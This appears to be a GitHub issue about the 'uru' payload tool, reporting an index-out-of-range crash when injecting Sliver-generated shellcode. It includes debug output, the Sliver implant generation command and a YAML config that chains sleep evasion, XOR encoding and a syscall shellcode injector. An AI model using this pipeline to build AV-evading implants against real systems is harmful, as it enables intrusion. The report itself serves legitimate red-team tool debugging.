uru
uru copied to clipboard
Shellcode index out of range
The execution of shellcode fails for me in any case. The example config fails silently in debug mode with garble enabled.
When creating a new config with only sleep 2 and xor the program does not execute correctly:
PS C:\Users\user\Desktop> .\20220704_9qul_main.exe
[INFO] Sleep for 2 seconds
[INFO] Sleep finished
[INFO] XOR payload data
[INFO] Loading kernel32.dll
[INFO] Loading VirtualAlloc, VirtualProtect procedures...
[INFO] Calling VirtualAlloc for shellcode...
[INFO] Length of the shellcode: 9415388 bytes
[INFO] Allocated 9415388 bytes
[DEBUG] Copying shellcode to memory...
panic: runtime error: index out of range [1890000] with length 1890000
goroutine 1 [running]:
main.run({0xc003200000, 0x8faadc, 0xa12000?})
lxdlspnq/20220704_9qul_main.go:123 +0x6b7
main.main()
lxdlspnq/20220704_9qul_main.go:169 +0xff
unobfuscated shellcode comes from sliver:
generate --os windows --http https://domain --format shellcode -l
config (tested with and without xor)
payload:
artifacts:
- name: sleep
type: evasion
args:
- name: delay
value: "2"
- name: xor
type: encoder
args:
- name: Key
value: "ohmymy"
- name: windows/native/local/go-shellcode-syscall
type: injector
#sgn: false #must be decommented in the code to be used
type: exe
arch: x64
debug: true
obfuscation: false #need garble to be installed
AV is turned off